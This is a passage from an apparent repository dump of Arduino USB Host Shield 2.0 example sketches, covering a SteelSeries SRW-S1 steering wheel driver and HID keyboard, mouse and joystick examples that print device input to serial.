(Wii.getButtonClick(R))\n        Serial.print(F(\"\\r\\nR\"));\n      if (Wii.getButtonClick(ZL))\n        Serial.print(F(\"\\r\\nZL\"));\n      if (Wii.getButtonClick(ZR))\n        Serial.print(F(\"\\r\\nZR\"));\n      if (Wii.getButtonClick(L3))\n        Serial.print(F(\"\\r\\nL3\"));\n      if (Wii.getButtonClick(R3))\n        Serial.print(F(\"\\r\\nR3\"));\n    }\n    if (Wii.getAnalogHat(LeftHatX) > 2200 || Wii.getAnalogHat(LeftHatX) < 1800 || Wii.getAnalogHat(LeftHatY) > 2200 || Wii.getAnalogHat(LeftHatY) < 1800 || Wii.getAnalogHat(RightHatX) > 2200 ||  Wii.getAnalogHat(RightHatX) < 1800 || Wii.getAnalogHat(RightHatY) > 2200 || Wii.getAnalogHat(RightHatY) < 1800) {\n      Serial.print(F(\"\\r\\nLeftHatX: \"));\n      Serial.print(Wii.getAnalogHat(LeftHatX));\n      Serial.print(F(\"\\tLeftHatY: \"));\n      Serial.print(Wii.getAnalogHat(LeftHatY));\n      Serial.print(F(\"\\tRightHatX: \"));\n      Serial.print(Wii.getAnalogHat(RightHatX));\n      Serial.print(F(\"\\tRightHatY: \"));\n      Serial.print(Wii.getAnalogHat(RightHatY));\n    }\n  }\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/SRWS1/SRWS1.cpp",
    "content": "/* Copyright (C) 2016 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n */\n\n#include \"SRWS1.h\"\n\nvoid SRWS1::ParseHIDData(USBHID *hid, bool is_rpt_id, uint8_t len, uint8_t *buf) {\n        if (HIDUniversal::VID != STEELSERIES_VID || HIDUniversal::PID != STEELSERIES_SRWS1_PID) // Make sure the right device is actually connected\n                return;\n#if 0\n        if (len && buf)  {\n                Notify(PSTR(\"\\r\\n\"), 0x80);\n                for (uint8_t i = 0; i < len; i++) {\n                        D_PrintHex<uint8_t > (buf[i], 0x80);\n                        Notify(PSTR(\" \"), 0x80);\n                }\n        }\n#endif\n        memcpy(&srws1Data, buf, min(len, MFK_CASTUINT8T sizeof(srws1Data)));\n\n        static SRWS1DataButtons oldButtonState;\n        if (srws1Data.btn.val != oldButtonState.val) { // Check if anything has changed\n                buttonClickState.val = srws1Data.btn.val & ~oldButtonState.val; // Update click state variable\n                oldButtonState.val = srws1Data.btn.val;\n        }\n}\n\n// See: https://github.com/torvalds/linux/blob/master/drivers/hid/hid-steelseries.c\nvoid SRWS1::setLeds(uint16_t leds) {\n        uint8_t buf[3];\n        buf[0] = 0x40; // Report ID\n        buf[1] = leds & 0xFF;\n        buf[2] = (leds >> 8) & 0x7F;\n        pUsb->outTransfer(bAddress, epInfo[ hidInterfaces[0].epIndex[epInterruptOutIndex] ].epAddr, sizeof(buf), buf);\n}\n\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/SRWS1/SRWS1.h",
    "content": "/* Copyright (C) 2016 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n */\n\n#ifndef __srws1_h__\n#define __srws1_h__\n\n#include <hiduniversal.h>\n\n#define STEELSERIES_VID       0x1038\n#define STEELSERIES_SRWS1_PID 0x1410\n\nenum DPADEnum {\n        DPAD_UP = 0x0,\n        DPAD_UP_RIGHT = 0x1,\n        DPAD_RIGHT = 0x2,\n        DPAD_RIGHT_DOWN = 0x3,\n        DPAD_DOWN = 0x4,\n        DPAD_DOWN_LEFT = 0x5,\n        DPAD_LEFT = 0x6,\n        DPAD_LEFT_UP = 0x7,\n        DPAD_OFF = 0xF,\n};\n\nunion SRWS1DataButtons {\n        struct {\n                uint8_t dpad : 4;\n                uint8_t dummy : 3;\n                uint8_t select : 1;\n\n                uint8_t back : 1;\n                uint8_t lookLeft : 1;\n                uint8_t lights : 1;\n                uint8_t lookBack : 1;\n                uint8_t rearBrakeBalance : 1;\n                uint8_t frontBrakeBalance : 1;\n                uint8_t requestPit : 1;\n                uint8_t leftGear : 1;\n\n                uint8_t camera : 1;\n                uint8_t lookRight : 1;\n                uint8_t boost : 1;\n                uint8_t horn : 1;\n                uint8_t hud : 1;\n                uint8_t launchControl : 1;\n                uint8_t speedLimiter : 1;\n                uint8_t rightGear : 1;\n        } __attribute__((packed));\n        uint32_t val : 24;\n} __attribute__((packed));\n\nstruct SRWS1Data {\n        int16_t tilt; // Range [-1800:1800]\n        uint16_t rightTrigger : 12; // Range [0:1023] i.e. only 10 bits\n        uint16_t leftTrigger : 12; // Range [0:1023] i.e. only 10 bits\n        SRWS1DataButtons btn;\n        uint8_t assists : 4;\n        uint8_t steeringSensitivity : 4;\n        uint8_t assistValues : 4;\n} __attribute__((packed));\n\nclass SRWS1 : public HIDUniversal {\npublic:\n        SRWS1(USB *p) : HIDUniversal(p) {};\n        bool connected() {\n                return HIDUniversal::isReady() && HIDUniversal::VID == STEELSERIES_VID && HIDUniversal::PID == STEELSERIES_SRWS1_PID;\n        };\n        void setLeds(uint16_t leds);\n        SRWS1Data srws1Data;\n        SRWS1DataButtons buttonClickState;\n\nprivate:\n        void ParseHIDData(USBHID *hid, bool is_rpt_id, uint8_t len, uint8_t *buf); // Called by the HIDUniversal library\n        uint8_t OnInitSuccessful() { // Called by the HIDUniversal library on success\n                if (HIDUniversal::VID != STEELSERIES_VID || HIDUniversal::PID != STEELSERIES_SRWS1_PID) // Make sure the right device is actually connected\n                        return 1;\n                setLeds(0);\n                return 0;\n        };\n};\n\n#endif\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/SRWS1/SRWS1.ino",
    "content": "/*\n  Example sketch for the SteelSeries SRW-S1 Steering Wheel - developed by Kristian Lauszus\n  For more information visit my blog: http://blog.tkjelectronics.dk/ or\n  send me an e-mail:  kristianl@tkjelectronics.com\n*/\n\n#include <SPI.h>\n#include \"SRWS1.h\"\n\nUSB Usb;\nSRWS1 srw1(&Usb);\n\nbool printTilt;\n\nvoid setup() {\n  Serial.begin(115200);\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  if (Usb.Init() == -1) {\n    Serial.print(F(\"\\r\\nOSC did not start\"));\n    while (1); // Halt\n  }\n  Serial.println(F(\"\\r\\nSteelSeries SRW-S1 Steering Wheel example started\"));\n}\n\nvoid loop() {\n  Usb.Task();\n\n  if (srw1.connected()) {\n    if (printTilt) { // Show tilt angle using the LEDs\n      srw1.setLeds(1 << map(srw1.srws1Data.tilt, -1800, 1800, 0, 14)); // Turn on a LED according to tilt value\n      Serial.println(srw1.srws1Data.tilt);\n    } else { // Show strobe light effect\n      static uint32_t timer;\n      if ((int32_t)((uint32_t)millis() - timer) > 12) {\n        timer = (uint32_t)millis(); // Reset timer\n\n        static uint16_t leds = 0;\n        //PrintHex<uint16_t > (leds, 0x80); Serial.println();\n        srw1.setLeds(leds); // Update LEDs\n\n        static bool dirUp = true;\n        if (dirUp) {\n          leds <<= 1;\n          if (leds == 0x8000) // All are actually turned off, as there is only 15 LEDs\n            dirUp = false; // If we have reached the end i.e. all LEDs are off, then change direction\n          else if (!(leds & 0x8000)) // If last bit is not set, then set the lowest bit\n            leds |= 1; // Set lowest bit\n        } else {\n          leds >>= 1;\n          if (leds == 0) // Check if all LEDs are off\n            dirUp = true; // If all LEDs are off, then repeat the sequence\n          else if (!(leds & 0x1)) // If last bit is not set, then set the top bit\n            leds |= 1 << 15; // Set top bit\n        }\n      }\n    }\n\n    if (srw1.srws1Data.leftTrigger) {\n      Serial.print(F(\"L2: \"));\n      Serial.println(srw1.srws1Data.leftTrigger);\n    }\n    if (srw1.srws1Data.rightTrigger) {\n      Serial.print(F(\"R2: \"));\n      Serial.println(srw1.srws1Data.rightTrigger);\n    }\n\n    if (srw1.buttonClickState.select) {\n      srw1.buttonClickState.select = 0; // Clear event\n      Serial.println(F(\"Select\"));\n      printTilt = !printTilt; // Print tilt value & show it using the LEDs as well\n    }\n\n    if (srw1.buttonClickState.back) {\n      srw1.buttonClickState.back = 0; // Clear event\n      Serial.println(F(\"Back\"));\n    }\n    if (srw1.buttonClickState.lookLeft) {\n      srw1.buttonClickState.lookLeft = 0; // Clear event\n      Serial.println(F(\"Look Left\"));\n    }\n    if (srw1.buttonClickState.lights) {\n      srw1.buttonClickState.lights = 0; // Clear event\n      Serial.println(F(\"Lights\"));\n    }\n    if (srw1.buttonClickState.lookBack) {\n      srw1.buttonClickState.lookBack = 0; // Clear event\n      Serial.println(F(\"Look Back\"));\n    }\n    if (srw1.buttonClickState.rearBrakeBalance) {\n      srw1.buttonClickState.rearBrakeBalance = 0; // Clear event\n      Serial.println(F(\"R. Brake Balance\"));\n    }\n    if (srw1.buttonClickState.frontBrakeBalance) {\n      srw1.buttonClickState.frontBrakeBalance = 0; // Clear event\n      Serial.println(F(\"F. Brake Balance\"));\n    }\n    if (srw1.buttonClickState.requestPit) {\n      srw1.buttonClickState.requestPit = 0; // Clear event\n      Serial.println(F(\"Request Pit\"));\n    }\n    if (srw1.buttonClickState.leftGear) {\n      srw1.buttonClickState.leftGear = 0; // Clear event\n      Serial.println(F(\"Left Gear\"));\n    }\n\n    if (srw1.buttonClickState.camera) {\n      srw1.buttonClickState.camera = 0; // Clear event\n      Serial.println(F(\"Camera\"));\n    }\n    if (srw1.buttonClickState.lookRight) {\n      srw1.buttonClickState.lookRight = 0; // Clear event\n      Serial.println(F(\"Look right\"));\n    }\n    if (srw1.buttonClickState.boost) {\n      srw1.buttonClickState.boost = 0; // Clear event\n      Serial.println(F(\"Boost\"));\n    }\n    if (srw1.buttonClickState.horn) {\n      srw1.buttonClickState.horn = 0; // Clear event\n      Serial.println(F(\"Horn\"));\n    }\n    if (srw1.buttonClickState.hud) {\n      srw1.buttonClickState.hud = 0; // Clear event\n      Serial.println(F(\"HUD\"));\n    }\n    if (srw1.buttonClickState.launchControl) {\n      srw1.buttonClickState.launchControl = 0; // Clear event\n      Serial.println(F(\"Launch Control\"));\n    }\n    if (srw1.buttonClickState.speedLimiter) {\n      srw1.buttonClickState.speedLimiter = 0; // Clear event\n      Serial.println(F(\"Speed Limiter\"));\n    }\n    if (srw1.buttonClickState.rightGear) {\n      srw1.buttonClickState.rightGear = 0; // Clear event\n      Serial.println(F(\"Right gear\"));\n    }\n\n    if (srw1.srws1Data.assists) Serial.println(srw1.srws1Data.assists);\n    if (srw1.srws1Data.steeringSensitivity) Serial.println(srw1.srws1Data.steeringSensitivity);\n    if (srw1.srws1Data.assistValues) Serial.println(srw1.srws1Data.assistValues);\n\n    switch (srw1.srws1Data.btn.dpad) {\n      case DPAD_UP:\n        Serial.println(F(\"Up\"));\n        break;\n      case DPAD_UP_RIGHT:\n        Serial.println(F(\"UP & right\"));\n        break;\n      case DPAD_RIGHT:\n        Serial.println(F(\"Right\"));\n        break;\n      case DPAD_RIGHT_DOWN:\n        Serial.println(F(\"Right & down\"));\n        break;\n      case DPAD_DOWN:\n        Serial.println(F(\"Down\"));\n        break;\n      case DPAD_DOWN_LEFT:\n        Serial.println(F(\"Down & left\"));\n        break;\n      case DPAD_LEFT:\n        Serial.println(F(\"Left\"));\n        break;\n      case DPAD_LEFT_UP:\n        Serial.println(F(\"Left & up\"));\n        break;\n      case DPAD_OFF:\n        break;\n      default:\n        Serial.print(F(\"Unknown state: \"));\n        PrintHex<uint8_t > (srw1.srws1Data.btn.dpad, 0x80);\n        Serial.println();\n        break;\n    }\n  }\n}\n\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/USBHIDBootKbd/USBHIDBootKbd.ino",
    "content": "#include <hidboot.h>\n#include <usbhub.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nclass KbdRptParser : public KeyboardReportParser\n{\n    void PrintKey(uint8_t mod, uint8_t key);\n\n  protected:\n    void OnControlKeysChanged(uint8_t before, uint8_t after);\n\n    void OnKeyDown\t(uint8_t mod, uint8_t key);\n    void OnKeyUp\t(uint8_t mod, uint8_t key);\n    void OnKeyPressed(uint8_t key);\n};\n\nvoid KbdRptParser::PrintKey(uint8_t m, uint8_t key)\n{\n  MODIFIERKEYS mod;\n  *((uint8_t*)&mod) = m;\n  Serial.print((mod.bmLeftCtrl   == 1) ? \"C\" : \" \");\n  Serial.print((mod.bmLeftShift  == 1) ? \"S\" : \" \");\n  Serial.print((mod.bmLeftAlt    == 1) ? \"A\" : \" \");\n  Serial.print((mod.bmLeftGUI    == 1) ? \"G\" : \" \");\n\n  Serial.print(\" >\");\n  PrintHex<uint8_t>(key, 0x80);\n  Serial.print(\"< \");\n\n  Serial.print((mod.bmRightCtrl   == 1) ? \"C\" : \" \");\n  Serial.print((mod.bmRightShift  == 1) ? \"S\" : \" \");\n  Serial.print((mod.bmRightAlt    == 1) ? \"A\" : \" \");\n  Serial.println((mod.bmRightGUI    == 1) ? \"G\" : \" \");\n};\n\nvoid KbdRptParser::OnKeyDown(uint8_t mod, uint8_t key)\n{\n  Serial.print(\"DN \");\n  PrintKey(mod, key);\n  uint8_t c = OemToAscii(mod, key);\n\n  if (c)\n    OnKeyPressed(c);\n}\n\nvoid KbdRptParser::OnControlKeysChanged(uint8_t before, uint8_t after) {\n\n  MODIFIERKEYS beforeMod;\n  *((uint8_t*)&beforeMod) = before;\n\n  MODIFIERKEYS afterMod;\n  *((uint8_t*)&afterMod) = after;\n\n  if (beforeMod.bmLeftCtrl != afterMod.bmLeftCtrl) {\n    Serial.println(\"LeftCtrl changed\");\n  }\n  if (beforeMod.bmLeftShift != afterMod.bmLeftShift) {\n    Serial.println(\"LeftShift changed\");\n  }\n  if (beforeMod.bmLeftAlt != afterMod.bmLeftAlt) {\n    Serial.println(\"LeftAlt changed\");\n  }\n  if (beforeMod.bmLeftGUI != afterMod.bmLeftGUI) {\n    Serial.println(\"LeftGUI changed\");\n  }\n\n  if (beforeMod.bmRightCtrl != afterMod.bmRightCtrl) {\n    Serial.println(\"RightCtrl changed\");\n  }\n  if (beforeMod.bmRightShift != afterMod.bmRightShift) {\n    Serial.println(\"RightShift changed\");\n  }\n  if (beforeMod.bmRightAlt != afterMod.bmRightAlt) {\n    Serial.println(\"RightAlt changed\");\n  }\n  if (beforeMod.bmRightGUI != afterMod.bmRightGUI) {\n    Serial.println(\"RightGUI changed\");\n  }\n\n}\n\nvoid KbdRptParser::OnKeyUp(uint8_t mod, uint8_t key)\n{\n  Serial.print(\"UP \");\n  PrintKey(mod, key);\n}\n\nvoid KbdRptParser::OnKeyPressed(uint8_t key)\n{\n  Serial.print(\"ASCII: \");\n  Serial.println((char)key);\n};\n\nUSB     Usb;\n//USBHub     Hub(&Usb);\nHIDBoot<USB_HID_PROTOCOL_KEYBOARD>    HidKeyboard(&Usb);\n\nKbdRptParser Prs;\n\nvoid setup()\n{\n  Serial.begin( 115200 );\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  Serial.println(\"Start\");\n\n  if (Usb.Init() == -1)\n    Serial.println(\"OSC did not start.\");\n\n  delay( 200 );\n\n  HidKeyboard.SetReportParser(0, &Prs);\n}\n\nvoid loop()\n{\n  Usb.Task();\n}\n\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/USBHIDBootKbdAndMouse/USBHIDBootKbdAndMouse.ino",
    "content": "#include <hidboot.h>\n#include <usbhub.h>\n\n// Satisfy IDE, which only needs to see the include statment in the ino.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nclass MouseRptParser : public MouseReportParser\n{\n  protected:\n    void OnMouseMove(MOUSEINFO *mi);\n    void OnLeftButtonUp(MOUSEINFO *mi);\n    void OnLeftButtonDown(MOUSEINFO *mi);\n    void OnRightButtonUp(MOUSEINFO *mi);\n    void OnRightButtonDown(MOUSEINFO *mi);\n    void OnMiddleButtonUp(MOUSEINFO *mi);\n    void OnMiddleButtonDown(MOUSEINFO *mi);\n};\nvoid MouseRptParser::OnMouseMove(MOUSEINFO *mi)\n{\n  Serial.print(\"dx=\");\n  Serial.print(mi->dX, DEC);\n  Serial.print(\" dy=\");\n  Serial.println(mi->dY, DEC);\n};\nvoid MouseRptParser::OnLeftButtonUp\t(MOUSEINFO *mi)\n{\n  Serial.println(\"L Butt Up\");\n};\nvoid MouseRptParser::OnLeftButtonDown\t(MOUSEINFO *mi)\n{\n  Serial.println(\"L Butt Dn\");\n};\nvoid MouseRptParser::OnRightButtonUp\t(MOUSEINFO *mi)\n{\n  Serial.println(\"R Butt Up\");\n};\nvoid MouseRptParser::OnRightButtonDown\t(MOUSEINFO *mi)\n{\n  Serial.println(\"R Butt Dn\");\n};\nvoid MouseRptParser::OnMiddleButtonUp\t(MOUSEINFO *mi)\n{\n  Serial.println(\"M Butt Up\");\n};\nvoid MouseRptParser::OnMiddleButtonDown\t(MOUSEINFO *mi)\n{\n  Serial.println(\"M Butt Dn\");\n};\n\nclass KbdRptParser : public KeyboardReportParser\n{\n    void PrintKey(uint8_t mod, uint8_t key);\n\n  protected:\n    void OnControlKeysChanged(uint8_t before, uint8_t after);\n    void OnKeyDown\t(uint8_t mod, uint8_t key);\n    void OnKeyUp\t(uint8_t mod, uint8_t key);\n    void OnKeyPressed(uint8_t key);\n};\n\nvoid KbdRptParser::PrintKey(uint8_t m, uint8_t key)\n{\n  MODIFIERKEYS mod;\n  *((uint8_t*)&mod) = m;\n  Serial.print((mod.bmLeftCtrl   == 1) ? \"C\" : \" \");\n  Serial.print((mod.bmLeftShift  == 1) ? \"S\" : \" \");\n  Serial.print((mod.bmLeftAlt    == 1) ? \"A\" : \" \");\n  Serial.print((mod.bmLeftGUI    == 1) ? \"G\" : \" \");\n\n  Serial.print(\" >\");\n  PrintHex<uint8_t>(key, 0x80);\n  Serial.print(\"< \");\n\n  Serial.print((mod.bmRightCtrl   == 1) ? \"C\" : \" \");\n  Serial.print((mod.bmRightShift  == 1) ? \"S\" : \" \");\n  Serial.print((mod.bmRightAlt    == 1) ? \"A\" : \" \");\n  Serial.println((mod.bmRightGUI    == 1) ? \"G\" : \" \");\n};\n\nvoid KbdRptParser::OnKeyDown(uint8_t mod, uint8_t key)\n{\n  Serial.print(\"DN \");\n  PrintKey(mod, key);\n  uint8_t c = OemToAscii(mod, key);\n\n  if (c)\n    OnKeyPressed(c);\n}\n\nvoid KbdRptParser::OnControlKeysChanged(uint8_t before, uint8_t after) {\n\n  MODIFIERKEYS beforeMod;\n  *((uint8_t*)&beforeMod) = before;\n\n  MODIFIERKEYS afterMod;\n  *((uint8_t*)&afterMod) = after;\n\n  if (beforeMod.bmLeftCtrl != afterMod.bmLeftCtrl) {\n    Serial.println(\"LeftCtrl changed\");\n  }\n  if (beforeMod.bmLeftShift != afterMod.bmLeftShift) {\n    Serial.println(\"LeftShift changed\");\n  }\n  if (beforeMod.bmLeftAlt != afterMod.bmLeftAlt) {\n    Serial.println(\"LeftAlt changed\");\n  }\n  if (beforeMod.bmLeftGUI != afterMod.bmLeftGUI) {\n    Serial.println(\"LeftGUI changed\");\n  }\n\n  if (beforeMod.bmRightCtrl != afterMod.bmRightCtrl) {\n    Serial.println(\"RightCtrl changed\");\n  }\n  if (beforeMod.bmRightShift != afterMod.bmRightShift) {\n    Serial.println(\"RightShift changed\");\n  }\n  if (beforeMod.bmRightAlt != afterMod.bmRightAlt) {\n    Serial.println(\"RightAlt changed\");\n  }\n  if (beforeMod.bmRightGUI != afterMod.bmRightGUI) {\n    Serial.println(\"RightGUI changed\");\n  }\n\n}\n\nvoid KbdRptParser::OnKeyUp(uint8_t mod, uint8_t key)\n{\n  Serial.print(\"UP \");\n  PrintKey(mod, key);\n}\n\nvoid KbdRptParser::OnKeyPressed(uint8_t key)\n{\n  Serial.print(\"ASCII: \");\n  Serial.println((char)key);\n};\n\nUSB     Usb;\nUSBHub     Hub(&Usb);\n\nHIDBoot < USB_HID_PROTOCOL_KEYBOARD | USB_HID_PROTOCOL_MOUSE > HidComposite(&Usb);\nHIDBoot<USB_HID_PROTOCOL_KEYBOARD>    HidKeyboard(&Usb);\nHIDBoot<USB_HID_PROTOCOL_MOUSE>    HidMouse(&Usb);\n\nKbdRptParser KbdPrs;\nMouseRptParser MousePrs;\n\nvoid setup()\n{\n  Serial.begin( 115200 );\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  Serial.println(\"Start\");\n\n  if (Usb.Init() == -1)\n    Serial.println(\"OSC did not start.\");\n\n  delay( 200 );\n\n  HidComposite.SetReportParser(0, &KbdPrs);\n  HidComposite.SetReportParser(1, &MousePrs);\n  HidKeyboard.SetReportParser(0, &KbdPrs);\n  HidMouse.SetReportParser(0, &MousePrs);\n}\n\nvoid loop()\n{\n  Usb.Task();\n}\n\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/USBHIDBootMouse/USBHIDBootMouse.ino",
    "content": "#include <hidboot.h>\n#include <usbhub.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nclass MouseRptParser : public MouseReportParser\n{\nprotected:\n\tvoid OnMouseMove\t(MOUSEINFO *mi);\n\tvoid OnLeftButtonUp\t(MOUSEINFO *mi);\n\tvoid OnLeftButtonDown\t(MOUSEINFO *mi);\n\tvoid OnRightButtonUp\t(MOUSEINFO *mi);\n\tvoid OnRightButtonDown\t(MOUSEINFO *mi);\n\tvoid OnMiddleButtonUp\t(MOUSEINFO *mi);\n\tvoid OnMiddleButtonDown\t(MOUSEINFO *mi);\n};\nvoid MouseRptParser::OnMouseMove(MOUSEINFO *mi)\n{\n    Serial.print(\"dx=\");\n    Serial.print(mi->dX, DEC);\n    Serial.print(\" dy=\");\n    Serial.println(mi->dY, DEC);\n};\nvoid MouseRptParser::OnLeftButtonUp\t(MOUSEINFO *mi)\n{\n    Serial.println(\"L Butt Up\");\n};\nvoid MouseRptParser::OnLeftButtonDown\t(MOUSEINFO *mi)\n{\n    Serial.println(\"L Butt Dn\");\n};\nvoid MouseRptParser::OnRightButtonUp\t(MOUSEINFO *mi)\n{\n    Serial.println(\"R Butt Up\");\n};\nvoid MouseRptParser::OnRightButtonDown\t(MOUSEINFO *mi)\n{\n    Serial.println(\"R Butt Dn\");\n};\nvoid MouseRptParser::OnMiddleButtonUp\t(MOUSEINFO *mi)\n{\n    Serial.println(\"M Butt Up\");\n};\nvoid MouseRptParser::OnMiddleButtonDown\t(MOUSEINFO *mi)\n{\n    Serial.println(\"M Butt Dn\");\n};\n\nUSB     Usb;\nUSBHub     Hub(&Usb);\nHIDBoot<USB_HID_PROTOCOL_MOUSE>    HidMouse(&Usb);\n\nMouseRptParser                               Prs;\n\nvoid setup()\n{\n    Serial.begin( 115200 );\n#if !defined(__MIPSEL__)\n    while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n    Serial.println(\"Start\");\n\n    if (Usb.Init() == -1)\n        Serial.println(\"OSC did not start.\");\n\n    delay( 200 );\n\n    HidMouse.SetReportParser(0, &Prs);\n}\n\nvoid loop()\n{\n  Usb.Task();\n}\n\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/USBHIDJoystick/USBHIDJoystick.ino",
    "content": "#include <usbhid.h>\n#include <hiduniversal.h>\n#include <usbhub.h>\n\n// Satisfy IDE, which only needs to see the include statment in the ino.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\n#include \"hidjoystickrptparser.h\"\n\nUSB Usb;\nUSBHub Hub(&Usb);\nHIDUniversal Hid(&Usb);\nJoystickEvents JoyEvents;\nJoystickReportParser Joy(&JoyEvents);\n\nvoid setup() {\n        Serial.begin(115200);\n#if !defined(__MIPSEL__)\n        while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n        Serial.println(\"Start\");\n\n        if (Usb.Init() == -1)\n                Serial.println(\"OSC did not start.\");\n\n        delay(200);\n\n        if (!Hid.SetReportParser(0, &Joy))\n                ErrorMessage<uint8_t > (PSTR(\"SetReportParser\"), 1);\n}\n\nvoid loop() {\n        Usb.Task();\n}\n\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/USBHIDJoystick/hidjoystickrptparser.cpp",
    "content": "#include \"hidjoystickrptparser.h\"\n\nJoystickReportParser::JoystickReportParser(JoystickEvents *evt) :\njoyEvents(evt),\noldHat(0xDE),\noldButtons(0) {\n        for (uint8_t i = 0; i < RPT_GEMEPAD_LEN; i++)\n                oldPad[i] = 0xD;\n}\n\nvoid JoystickReportParser::Parse(USBHID *hid, bool is_rpt_id, uint8_t len, uint8_t *buf) {\n        bool match = true;\n\n        // Checking if there are changes in report since the method was last called\n        for (uint8_t i = 0; i < RPT_GEMEPAD_LEN; i++)\n                if (buf[i] != oldPad[i]) {\n                        match = false;\n                        break;\n                }\n\n        // Calling Game Pad event handler\n        if (!match && joyEvents) {\n                joyEvents->OnGamePadChanged((const GamePadEventData*)buf);\n\n                for (uint8_t i = 0; i < RPT_GEMEPAD_LEN; i++) oldPad[i] = buf[i];\n        }\n\n        uint8_t hat = (buf[5] & 0xF);\n\n        // Calling Hat Switch event handler\n        if (hat != oldHat && joyEvents) {\n                joyEvents->OnHatSwitch(hat);\n                oldHat = hat;\n        }\n\n        uint16_t buttons = (0x0000 | buf[6]);\n        buttons <<= 4;\n        buttons |= (buf[5] >> 4);\n        uint16_t changes = (buttons ^ oldButtons);\n\n        // Calling Button Event Handler for every button changed\n        if (changes) {\n                for (uint8_t i = 0; i < 0x0C; i++) {\n                        uint16_t mask = (0x0001 << i);\n\n                        if (((mask & changes) > 0) && joyEvents) {\n                                if ((buttons & mask) > 0)\n                                        joyEvents->OnButtonDn(i + 1);\n                                else\n                                        joyEvents->OnButtonUp(i + 1);\n                        }\n                }\n                oldButtons = buttons;\n        }\n}\n\nvoid JoystickEvents::OnGamePadChanged(const GamePadEventData *evt) {\n        Serial.print(\"X1: \");\n        PrintHex<uint8_t > (evt->X, 0x80);\n        Serial.print(\"\\tY1: \");\n        PrintHex<uint8_t > (evt->Y, 0x80);\n        Serial.print(\"\\tX2: \");\n        PrintHex<uint8_t > (evt->Z1, 0x80);\n        Serial.print(\"\\tY2: \");\n        PrintHex<uint8_t > (evt->Z2, 0x80);\n        Serial.print(\"\\tRz: \");\n        PrintHex<uint8_t > (evt->Rz, 0x80);\n        Serial.println(\"\");\n}\n\nvoid JoystickEvents::OnHatSwitch(uint8_t hat) {\n        Serial.print(\"Hat Switch: \");\n        PrintHex<uint8_t > (hat, 0x80);\n        Serial.println(\"\");\n}\n\nvoid JoystickEvents::OnButtonUp(uint8_t but_id) {\n        Serial.print(\"Up: \");\n        Serial.println(but_id, DEC);\n}\n\nvoid JoystickEvents::OnButtonDn(uint8_t but_id) {\n        Serial.print(\"Dn: \");\n        Serial.println(but_id, DEC);\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/USBHIDJoystick/hidjoystickrptparser.h",
    "content": "#if !defined(__HIDJOYSTICKRPTPARSER_H__)\n#define __HIDJOYSTICKRPTPARSER_H__\n\n#include <usbhid.h>\n\nstruct GamePadEventData {\n        uint8_t X, Y, Z1, Z2, Rz;\n};\n\nclass JoystickEvents {\npublic:\n        virtual void OnGamePadChanged(const GamePadEventData *evt);\n        virtual void OnHatSwitch(uint8_t hat);\n        virtual void OnButtonUp(uint8_t but_id);\n        virtual void OnButtonDn(uint8_t but_id);\n};\n\n#define RPT_GEMEPAD_LEN\t\t5\n\nclass JoystickReportParser : public HIDReportParser {\n        JoystickEvents *joyEvents;\n\n        uint8_t oldPad[RPT_GEMEPAD_LEN];\n        uint8_t oldHat;\n        uint16_t oldButtons;\n\npublic:\n        JoystickReportParser(JoystickEvents *evt);\n\n        virtual void Parse(USBHID *hid, bool is_rpt_id, uint8_t len, uint8_t *buf);\n};\n\n#endif // __HIDJOYSTICKRPTPARSER_H__\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/USBHIDMultimediaKbd/USBHIDMultimediaKbd.ino",
